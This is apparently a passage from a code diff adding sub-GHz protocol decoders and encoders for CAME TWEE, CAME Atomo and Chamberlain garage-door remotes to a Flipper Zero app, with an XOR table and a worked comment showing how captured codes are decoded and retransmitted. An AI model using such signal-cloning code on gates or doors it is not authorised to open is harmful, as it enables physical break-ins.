+void subghz_protocol_decoder_came_atomo_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderCameAtomo.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_came_atomo_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderCameAtomo.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderCameAtomo instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_came_atomo_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/came_twee.c

@@ -0,0 +1,465 @@
+#include "came_twee.h"
+#include <lib/toolbox/manchester_decoder.h>
+#include <lib/toolbox/manchester_encoder.h>
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+/*
+ * Help
+ * https://phreakerclub.com/forum/showthread.php?t=635&highlight=came+twin
+ *
+ */
+
+#define TAG "SubGhzProtocolCameTwee"
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
+#define CNT_TO_DIP(dip)                                                                     \
+    (dip & 0x0200 ? '1' : '0'), (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'),     \
+        (dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), \
+        (dip & 0x0008 ? '1' : '0'), (dip & 0x0004 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), \
+        (dip & 0x0001 ? '1' : '0')
+
+/** 
+ * Rainbow table Came Twee.
+ */
+static const uint32_t came_twee_magic_numbers_xor[15] = {
+    0x0E0E0E00,
+    0x1D1D1D11,
+    0x2C2C2C22,
+    0x3B3B3B33,
+    0x4A4A4A44,
+    0x59595955,
+    0x68686866,
+    0x77777777,
+    0x86868688,
+    0x95959599,
+    0xA4A4A4AA,
+    0xB3B3B3BB,
+    0xC2C2C2CC,
+    0xD1D1D1DD,
+    0xE0E0E0EE,
+};
+
+static const SubGhzBlockConst subghz_protocol_came_twee_const = {
+    .te_short = 500,
+    .te_long = 1000,
+    .te_delta = 250,
+    .min_count_bit_for_found = 54,
+};
+
+struct SubGhzProtocolDecoderCameTwee {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+    ManchesterState manchester_saved_state;
+};
+
+struct SubGhzProtocolEncoderCameTwee {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    CameTweeDecoderStepReset = 0,
+    CameTweeDecoderStepDecoderData,
+} CameTweeDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_came_twee_decoder = {
+    .alloc = subghz_protocol_decoder_came_twee_alloc,
+    .free = subghz_protocol_decoder_came_twee_free,
+
+    .feed = subghz_protocol_decoder_came_twee_feed,
+    .reset = subghz_protocol_decoder_came_twee_reset,
+
+    .get_hash_data = subghz_protocol_decoder_came_twee_get_hash_data,
+    .serialize = subghz_protocol_decoder_came_twee_serialize,
+    .deserialize = subghz_protocol_decoder_came_twee_deserialize,
+    .get_string = subghz_protocol_decoder_came_twee_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_came_twee_encoder = {
+    .alloc = subghz_protocol_encoder_came_twee_alloc,
+    .free = subghz_protocol_encoder_came_twee_free,
+
+    .deserialize = subghz_protocol_encoder_came_twee_deserialize,
+    .stop = subghz_protocol_encoder_came_twee_stop,
+    .yield = subghz_protocol_encoder_came_twee_yield,
+};
+
+const SubGhzProtocol subghz_protocol_came_twee = {
+    .name = SUBGHZ_PROTOCOL_CAME_TWEE_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_came_twee_decoder,
+    .encoder = &subghz_protocol_came_twee_encoder,
+};
+
+void* subghz_protocol_encoder_came_twee_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderCameTwee* instance = malloc(sizeof(SubGhzProtocolEncoderCameTwee));
+
+    instance->base.protocol = &subghz_protocol_came_twee;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 1536; // 1308
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_came_twee_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCameTwee* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static LevelDuration
+    subghz_protocol_encoder_came_twee_add_duration_to_upload(ManchesterEncoderResult result) {
+    LevelDuration data = {.duration = 0, .level = 0};
+    switch(result) {
+    case ManchesterEncoderResultShortLow:
+        data.duration = subghz_protocol_came_twee_const.te_short;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongLow:
+        data.duration = subghz_protocol_came_twee_const.te_long;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongHigh:
+        data.duration = subghz_protocol_came_twee_const.te_long;
+        data.level = true;
+        break;
+    case ManchesterEncoderResultShortHigh:
+        data.duration = subghz_protocol_came_twee_const.te_short;
+        data.level = true;
+        break;
+
+    default:
+        furi_crash("SubGhz: ManchesterEncoderResult is incorrect.");
+        break;
+    }
+    return level_duration_make(data.level, data.duration);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderCameTwee instance
+ */
+static void subghz_protocol_encoder_came_twee_get_upload(SubGhzProtocolEncoderCameTwee* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    ManchesterEncoderState enc_state;
+    manchester_encoder_reset(&enc_state);
+    ManchesterEncoderResult result;
+
+    uint64_t temp_parcel = 0x003FFF7200000000; //parcel mask
+
+    for(int i = 14; i >= 0; i--) {
+        temp_parcel = (temp_parcel & 0xFFFFFFFF00000000) |
+                      (instance->generic.serial ^ came_twee_magic_numbers_xor[i]);
+
+        for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+            if(!manchester_encoder_advance(&enc_state, !bit_read(temp_parcel, i - 1), &result)) {
+                instance->encoder.upload[index++] =
+                    subghz_protocol_encoder_came_twee_add_duration_to_upload(result);
+                manchester_encoder_advance(&enc_state, !bit_read(temp_parcel, i - 1), &result);
+            }
+            instance->encoder.upload[index++] =
+                subghz_protocol_encoder_came_twee_add_duration_to_upload(result);
+        }
+        instance->encoder.upload[index] = subghz_protocol_encoder_came_twee_add_duration_to_upload(
+            manchester_encoder_finish(&enc_state));
+        if(level_duration_get_level(instance->encoder.upload[index])) {
+            index++;
+        }
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_came_twee_const.te_long * 51);
+    }
+    instance->encoder.size_upload = index;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_came_twee_remote_controller(SubGhzBlockGeneric* instance) {
+    /*      Came Twee 54 bit, rolling code 15 parcels with
+    *       a decreasing counter from 0xE to 0x0
+    *       with originally coded dip switches on the console 10 bit code
+    * 
+    *  0x003FFF72E04A6FEE
+    *  0x003FFF72D17B5EDD
+    *  0x003FFF72C2684DCC
+    *  0x003FFF72B3193CBB
+    *  0x003FFF72A40E2BAA
+    *  0x003FFF72953F1A99
+    *  0x003FFF72862C0988
+    *  0x003FFF7277DDF877
+    *  0x003FFF7268C2E766
+    *  0x003FFF7259F3D655
+    *  0x003FFF724AE0C544
+    *  0x003FFF723B91B433
+    *  0x003FFF722C86A322
+    *  0x003FFF721DB79211
+    *  0x003FFF720EA48100
+    * 
+    *   decryption
+    * the last 32 bits, do XOR by the desired number, divide the result by 4,
+    * convert the first 16 bits of the resulting 32-bit number to bin and do
+    * bit-by-bit mirroring, adding up to 10 bits
+    * 
+    * Example
+    * Step 1. 0x003FFF721DB79211        => 0x1DB79211
+    * Step 4. 0x1DB79211 xor 0x1D1D1D11 => 0x00AA8F00
+    * Step 4. 0x00AA8F00 / 4            => 0x002AA3C0
+    * Step 5. 0x002AA3C0                => 0x002A
+    * Step 6. 0x002A    bin             => b101010
+    * Step 7. b101010                   => b0101010000
+    * Step 8. b0101010000               => (Dip) Off ON Off ON Off ON Off Off Off Off
+    */
+
+    uint8_t cnt_parcel = (uint8_t)(instance->data & 0xF);
+    uint32_t data = (uint32_t)(instance->data & 0x0FFFFFFFF);
+
+    data = (data ^ came_twee_magic_numbers_xor[cnt_parcel]);
+    instance->serial = data;
+    data /= 4;
+    instance->btn = (data >> 4) & 0x0F;
+    data >>= 16;
+    data = (uint16_t)subghz_protocol_blocks_reverse_key(data, 16);
+    instance->cnt = data >> 6;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCameTwee* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        res = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_came_twee_const.min_count_bit_for_found);
+        if(res != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_came_twee_remote_controller(&instance->generic);
+        subghz_protocol_encoder_came_twee_get_upload(instance);
+        instance->encoder.front = 0; // reset position before start
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_encoder_came_twee_stop(void* context) {
+    SubGhzProtocolEncoderCameTwee* instance = context;
+    instance->encoder.is_running = false;
+    instance->encoder.front = 0; // reset position
+}
+
+LevelDuration subghz_protocol_encoder_came_twee_yield(void* context) {
+    SubGhzProtocolEncoderCameTwee* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_came_twee_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderCameTwee* instance = malloc(sizeof(SubGhzProtocolDecoderCameTwee));
+    instance->base.protocol = &subghz_protocol_came_twee;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_came_twee_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_came_twee_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    instance->decoder.parser_step = CameTweeDecoderStepReset;
+    manchester_advance(
+        instance->manchester_saved_state,
+        ManchesterEventReset,
+        &instance->manchester_saved_state,
+        NULL);
+}
+
+void subghz_protocol_decoder_came_twee_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    ManchesterEvent event = ManchesterEventReset;
+    switch(instance->decoder.parser_step) {
+    case CameTweeDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long * 51) <
+                        subghz_protocol_came_twee_const.te_delta * 20)) {
+            //Found header CAME
+            instance->decoder.parser_step = CameTweeDecoderStepDecoderData;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventLongLow,
+                &instance->manchester_saved_state,
+                NULL);
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventLongHigh,
+                &instance->manchester_saved_state,
+                NULL);
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventShortLow,
+                &instance->manchester_saved_state,
+                NULL);
+        }
+        break;
+    case CameTweeDecoderStepDecoderData:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_short) <
+               subghz_protocol_came_twee_const.te_delta) {
+                event = ManchesterEventShortLow;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long) <
+                subghz_protocol_came_twee_const.te_delta) {
+                event = ManchesterEventLongLow;
+            } else if(
+                duration >= ((uint32_t)subghz_protocol_came_twee_const.te_long * 2 +
+                             subghz_protocol_came_twee_const.te_delta)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_came_twee_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventLongLow,
+                    &instance->manchester_saved_state,
+                    NULL);
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventLongHigh,
+                    &instance->manchester_saved_state,
+                    NULL);
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventShortLow,
+                    &instance->manchester_saved_state,
+                    NULL);
+            } else {
+                instance->decoder.parser_step = CameTweeDecoderStepReset;
+            }
+        } else {
+            if(DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_short) <
+               subghz_protocol_came_twee_const.te_delta) {
+                event = ManchesterEventShortHigh;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_came_twee_const.te_long) <
+                subghz_protocol_came_twee_const.te_delta) {
+                event = ManchesterEventLongHigh;
+            } else {
+                instance->decoder.parser_step = CameTweeDecoderStepReset;
+            }
+        }
+        if(event != ManchesterEventReset) {
+            bool data;
+            bool data_ok = manchester_advance(
+                instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
+
+            if(data_ok) {
+                instance->decoder.decode_data = (instance->decoder.decode_data << 1) | !data;
+                instance->decoder.decode_count_bit++;
+            }
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_came_twee_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_came_twee_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_came_twee_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_came_twee_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCameTwee* instance = context;
+    subghz_protocol_came_twee_remote_controller(&instance->generic);
+    uint32_t code_found_hi = instance->generic.data >> 32;
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:0x%lX%08lX\r\n"
+        "Btn:%X\r\n"
+        "DIP:" DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        code_found_hi,
+        code_found_lo,
+        instance->generic.btn,
+        CNT_TO_DIP(instance->generic.cnt));
+}

applications/system/Garage Door Remote/protocols/came_twee.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_CAME_TWEE_NAME "CAME TWEE"
+
+typedef struct SubGhzProtocolDecoderCameTwee SubGhzProtocolDecoderCameTwee;
+typedef struct SubGhzProtocolEncoderCameTwee SubGhzProtocolEncoderCameTwee;
+
+extern const SubGhzProtocolDecoder subghz_protocol_came_twee_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_came_twee_encoder;
+extern const SubGhzProtocol subghz_protocol_came_twee;
+
+/**
+ * Allocate SubGhzProtocolEncoderCameTwee.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderCameTwee* pointer to a SubGhzProtocolEncoderCameTwee instance
+ */
+void* subghz_protocol_encoder_came_twee_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderCameTwee.
+ * @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
+ */
+void subghz_protocol_encoder_came_twee_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
+ */
+void subghz_protocol_encoder_came_twee_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderCameTwee instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_came_twee_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderCameTwee.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderCameTwee* pointer to a SubGhzProtocolDecoderCameTwee instance
+ */
+void* subghz_protocol_decoder_came_twee_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderCameTwee.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ */
+void subghz_protocol_decoder_came_twee_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderCameTwee.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ */
+void subghz_protocol_decoder_came_twee_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_came_twee_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_came_twee_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderCameTwee.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_came_twee_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderCameTwee.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_came_twee_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderCameTwee instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_came_twee_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/chamberlain_code.c

@@ -0,0 +1,505 @@
+#include "chamberlain_code.h"
+
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#define TAG "SubGhzProtocolChambCode"
+
+#define CHAMBERLAIN_CODE_BIT_STOP 0b0001
+#define CHAMBERLAIN_CODE_BIT_1    0b0011
+#define CHAMBERLAIN_CODE_BIT_0    0b0111
+
+#define CHAMBERLAIN_7_CODE_MASK 0xF000000FF0F
+#define CHAMBERLAIN_8_CODE_MASK 0xF00000F00F
+#define CHAMBERLAIN_9_CODE_MASK 0xF000000000F
+
+#define CHAMBERLAIN_7_CODE_MASK_CHECK 0x10000001101
+#define CHAMBERLAIN_8_CODE_MASK_CHECK 0x1000001001
+#define CHAMBERLAIN_9_CODE_MASK_CHECK 0x10000000001
+
+#define CHAMBERLAIN_7_CODE_DIP_PATTERN "%c%c%c%c%c%c%c"
+#define CHAMBERLAIN_7_CODE_DATA_TO_DIP(dip)                                                 \
+    (dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'),     \
+        (dip & 0x0008 ? '1' : '0'), (dip & 0x0004 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), \
+        (dip & 0x0001 ? '1' : '0')
+
+#define CHAMBERLAIN_8_CODE_DIP_PATTERN "%c%c%c%c%cx%c%c"
+#define CHAMBERLAIN_8_CODE_DATA_TO_DIP(dip)                                                 \
+    (dip & 0x0080 ? '1' : '0'), (dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'),     \
+        (dip & 0x0010 ? '1' : '0'), (dip & 0x0008 ? '1' : '0'), (dip & 0x0001 ? '1' : '0'), \
+        (dip & 0x0002 ? '1' : '0')
+
+#define CHAMBERLAIN_9_CODE_DIP_PATTERN "%c%c%c%c%c%c%c%c%c"
+#define CHAMBERLAIN_9_CODE_DATA_TO_DIP(dip)                                                 \
+    (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'), (dip & 0x0040 ? '1' : '0'),     \
+        (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), (dip & 0x0008 ? '1' : '0'), \
+        (dip & 0x0001 ? '1' : '0'), (dip & 0x0002 ? '1' : '0'), (dip & 0x0004 ? '1' : '0')
+
+static const SubGhzBlockConst subghz_protocol_chamb_code_const = {
+    .te_short = 1000,
+    .te_long = 3000,
+    .te_delta = 200,
+    .min_count_bit_for_found = 10,
+};
+
+struct SubGhzProtocolDecoderChamb_Code {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderChamb_Code {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    Chamb_CodeDecoderStepReset = 0,
+    Chamb_CodeDecoderStepFoundStartBit,
+    Chamb_CodeDecoderStepSaveDuration,
+    Chamb_CodeDecoderStepCheckDuration,
+} Chamb_CodeDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_chamb_code_decoder = {
+    .alloc = subghz_protocol_decoder_chamb_code_alloc,
+    .free = subghz_protocol_decoder_chamb_code_free,
+
+    .feed = subghz_protocol_decoder_chamb_code_feed,
+    .reset = subghz_protocol_decoder_chamb_code_reset,
+
+    .get_hash_data = subghz_protocol_decoder_chamb_code_get_hash_data,
+    .serialize = subghz_protocol_decoder_chamb_code_serialize,
+    .deserialize = subghz_protocol_decoder_chamb_code_deserialize,
+    .get_string = subghz_protocol_decoder_chamb_code_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_chamb_code_encoder = {
+    .alloc = subghz_protocol_encoder_chamb_code_alloc,
+    .free = subghz_protocol_encoder_chamb_code_free,
+
+    .deserialize = subghz_protocol_encoder_chamb_code_deserialize,
+    .stop = subghz_protocol_encoder_chamb_code_stop,
+    .yield = subghz_protocol_encoder_chamb_code_yield,
+};
+
+const SubGhzProtocol subghz_protocol_chamb_code = {
+    .name = SUBGHZ_PROTOCOL_CHAMB_CODE_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_chamb_code_decoder,
+    .encoder = &subghz_protocol_chamb_code_encoder,
+};
+
+void* subghz_protocol_encoder_chamb_code_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderChamb_Code* instance = malloc(sizeof(SubGhzProtocolEncoderChamb_Code));
+
+    instance->base.protocol = &subghz_protocol_chamb_code;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 24;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_chamb_code_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderChamb_Code* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static uint64_t subghz_protocol_chamb_bit_to_code(uint64_t data, uint8_t size) {
+    uint64_t data_res = 0;
+    for(uint8_t i = 0; i < size; i++) {
+        if(!(bit_read(data, size - i - 1))) {
+            data_res = data_res << 4 | CHAMBERLAIN_CODE_BIT_0;
+        } else {
+            data_res = data_res << 4 | CHAMBERLAIN_CODE_BIT_1;
+        }
+    }
+    return data_res;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderChamb_Code instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_chamb_code_get_upload(SubGhzProtocolEncoderChamb_Code* instance) {
+    furi_assert(instance);
+
+    uint64_t data = subghz_protocol_chamb_bit_to_code(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    switch(instance->generic.data_count_bit) {
+    case 7:
+        data = ((data >> 4) << 16) | (data & 0xF) << 4 | CHAMBERLAIN_7_CODE_MASK_CHECK;
+        break;
+    case 8:
+        data = ((data >> 12) << 16) | (data & 0xFF) << 4 | CHAMBERLAIN_8_CODE_MASK_CHECK;
+        break;
+    case 9:
+        data = (data << 4) | CHAMBERLAIN_9_CODE_MASK_CHECK;
+        break;
+
+    default:
+        FURI_LOG_E(TAG, "Invalid bits count");
+        return false;
+        break;
+    }
+#define UPLOAD_HEX_DATA_SIZE 10
+    uint8_t upload_hex_data[UPLOAD_HEX_DATA_SIZE] = {0};
+    size_t upload_hex_count_bit = 0;
+
+    //insert guard time
+    for(uint8_t i = 0; i < 36; i++) {
+        subghz_protocol_blocks_set_bit_array(
+            0, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
+    }
+
+    //insert data
+    switch(instance->generic.data_count_bit) {
+    case 7:
+    case 9:
+        for(uint8_t i = 44; i > 0; i--) {
+            if(!bit_read(data, i - 1)) {
+                subghz_protocol_blocks_set_bit_array(
+                    0, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
+            } else {
+                subghz_protocol_blocks_set_bit_array(
+                    1, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
+            }
+        }
+        break;
+    case 8:
+        for(uint8_t i = 40; i > 0; i--) {
+            if(!bit_read(data, i - 1)) {
+                subghz_protocol_blocks_set_bit_array(
+                    0, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
+            } else {
+                subghz_protocol_blocks_set_bit_array(
+                    1, upload_hex_data, upload_hex_count_bit++, UPLOAD_HEX_DATA_SIZE);
+            }
+        }
+        break;
+    }
+
+    instance->encoder.size_upload = subghz_protocol_blocks_get_upload_from_bit_array(
+        upload_hex_data,
+        upload_hex_count_bit,
+        instance->encoder.upload,
+        instance->encoder.size_upload,
+        subghz_protocol_chamb_code_const.te_short,
+        SubGhzProtocolBlockAlignBitLeft);
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_chamb_code_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderChamb_Code* instance = context;
